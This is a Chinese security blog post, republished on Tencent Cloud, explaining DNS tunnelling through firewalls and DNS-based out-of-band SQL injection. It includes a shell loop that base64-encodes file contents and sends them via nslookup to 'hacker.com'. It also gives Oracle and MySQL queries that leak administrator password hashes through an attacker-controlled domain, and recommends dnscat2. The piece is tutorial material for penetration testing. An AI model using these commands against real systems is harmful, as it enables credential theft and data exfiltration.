DNS隧道技术解析

在之前穿越边界的姿势文章中介绍了几种穿透内网的方式,今天的这种方式再之前的文章里没有提及,所以今天来重点介绍使用dns协议穿透内网。

DNS基础

大家可以自行搜索关于dns的几种查询方式以及查询流程,因为比较基础,我这里就不贴了。下面贴一个关于dns查询的图,大家自行理解:

DNS隧道技术是如何实现的

一个查询的流程

我们通过下图来理解一下

第一步: 黑客向内部dns服务器发送一个查询hacker.com的请求(这个域名的控制权限是在黑客手里的)

第二步:内部dns服务器通过防火墙向根dns服务器发出查询请求

第三步:经过大量重定向后,DNS请求到达hacker.com的权威DNS服务器,该服务器处于黑客的控制之下

第四步:黑客请求查询的响应结果通过防火墙

第五步:响应结果返回到内部服务器

第六步:内部服务器将响应结果返回给黑客

上面的流程展示了一个黑客在连接外部网络时dns解析的一个过程。由于防火墙并没有对dns协议做任何处理,所以我们可以通过这种方式向外网发送数据来穿透防火墙。

如何向外部dns发送数据

1 将下面内容保存一个文件

cat sensitive.txt Alice
Bob
John

2 使用如下命令

for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done

以上命令的意思是,循环读取文件内容,并且对内容进行base64编码然后用nslookup 将编码后的内容作为主机名向dns发送查询请求。我们可以跟踪dns服务器的解析日志,找出发送出去的内容。

下面是这种方式的问题:

1 这是一个单向通道,不可以从外部到内部,只能从内部到外部。

2 这种处理一下小文件是可以的,但是如果有个100M的文件就不那么友好了

这是我们就需要一个工具来完成这个任务了。

推荐工具

一款优秀的工具dnscat2,下载地址:https://github.com/iagox86/dnscat2

dnscat2提供客户端和服务端。

使用的条件:

1 一台vps

2 一个域名控制权限

3 一台内网权限

利用dns回显sql注入

基于以上思路,我们在遇到没有回显的注入时,不能确定命令是否成功,我们可以利用dns,将结果回显到自己的dns服务器上,下面简单说一下不同数据库的利用方式。

MSSQL

有用的存储过程
master..xp_dirtree

功能:递归获取指定目录下的所有目录

命令:master..xp_dirtree '<dirpath>'

master..xp_fileexist

功能:检测指定磁盘下有没有该文件

命令:xp_fileexist '<filepath>'

master..xp_subdirs

功能:获取指定目录下的目录列表

命令:master..xp_subdirs '<dirpath>'

获取sa的hash

执行以上命令即可在远程dns服务器上留下解析日志,获得hash

Oracle

UTL_INADDR.GET_HOST_ADDRESS

函数:UTL_INADDR.GET_HOST_ADDRESS('<host>')

exp:SELECT UTL_INADDR.GET_HOST_ADDRESS('password.hacker.com');

UTL_HTTP.REQUEST

函数:UTL_HTTP.REQUEST('<url>')

exp:SELECT UTL_HTTP.REQUEST('http://password.hacker.com/index.php') FROM DUAL;

HTTPURITYPE.GETCLOB

函数:HTTPURITYPE('<url>').GETCLOB()

exp:SELECT HTTPURITYPE('http://password.hacker.com/index.php').GETCLOB() FROM DUAL;

DBMS_LDAP.INIT

函数:DBMS_LDAP.INIT(('<host>',<port>)

exp:SELECT DBMS_LDAP.INIT(('password.hacker.com',80) FROM DUAL;

举例

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacker.com',80) FROM DUAL;

以上查询语句将管理员的密码解析到我们的dns服务器上

Mysql

LOAD_FILE

函数:LOAD_FILE('<filepath>')

exp:SELECT LOAD_FILE('C:\Windows\system.ini');

举例

SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.hacker.com\foobar'));

将root用户的hash解析到我们的dns服务器上

PostgreSQL

COPY

函数:COPY <table>(<column>,...) FROM '<path>'

exp:COPY users(names) FROM 'C:\Windows\Temp\users.txt'

举例

由于PostgreSQL不接受子查询,切变量和函数必须进行显视声明。所以利用过程比较麻烦。

总结

本文简单的讲解了DNS隧道技术是如何实现的,以及简单的测试,推荐了工具,然而并没有对工具如何使用进行阐述,这就需要小伙伴们自己去测试了。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-06-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

MySQL开源热备工具XtraBackup的原理与程序说明

XtraBackup是Percona发布的MySQL开源热备工具,可以在尽量不影响线上读写的情况下进行快速全备、增备。支持InnoDB, XtraDB, 和My...

3225
来自专栏云计算

如何在Debian 9上设置MariaDB

MariaDB是MySQL的直接替代品。它致力于成为寻求强大,可扩展且可靠的SQL Server的数据库专业人员的合理选择。本指南将帮助初学者在Debian 9...

9293
来自专栏Albert陈凯

2018-11-23 当我们输入一条 SQL 查询语句时,发生了什么?

我们经常说,看一个事儿千万不要直接陷入细节里,你应该先鸟瞰其全貌,这样能够帮助你从高维度理解问题。同样,对于 MySQL 的学习也是这样。平时我们使用数据库,看...

1595
来自专栏数据和云

【错综复杂】一个执行计划异常变更的案例(中)

前文回顾: 一个执行计划异常变更的案例(上) 上篇文章我们说了,绑定变量实际是一些占位符,可以让仅查询条件不同的SQL语句可以重用解析树和执行计划,避免硬解析。...

3145
来自专栏乐沙弥的世界

共享池中保留池的调整(shared_pool_reserved_size)

--*************************************************

841
来自专栏小特工作室

Navi.Soft31.代码生成器(含下载地址)

1系统简介 1.1功能简述 在Net软件开发过程中,大部分时间都是在编写代码,并且都是重复和冗杂的代码.比如:要实现在数据库中10个表的增删改查功能,大部分代码...

2139
来自专栏finleyMa

docker学习系列13 实现 基于pxc 的mysql 多节点主主同步

MySQL本身是开源的,有些公司或社区基于MySQL发布了新的分支,如有名的MariaDB。 在介绍 Percona 之前,首要要介绍的是XtraDB存储引擎...

1805
来自专栏老安的博客

批量更新zabbix中的主机名

1693
来自专栏小白安全

重置dedecms管理员后台密码重现及分析

0×00 概述 2018年1月,网上爆出dedecms v5.7 sp2的前台任意用户密码重置和前台任意用户登录漏洞,加上一个管理员前台可修改其后台密码...

1.3K5
来自专栏皮振伟的专栏

[linux][x86]LOCK指令的影响

前言: 一般多线程并行操作,对个别的变量需要使用原子操作,经常用到__sync_fetch_and_add类似的函数,来避免CPU操作各自的cache没有同步内...

1794

扫码关注云+社区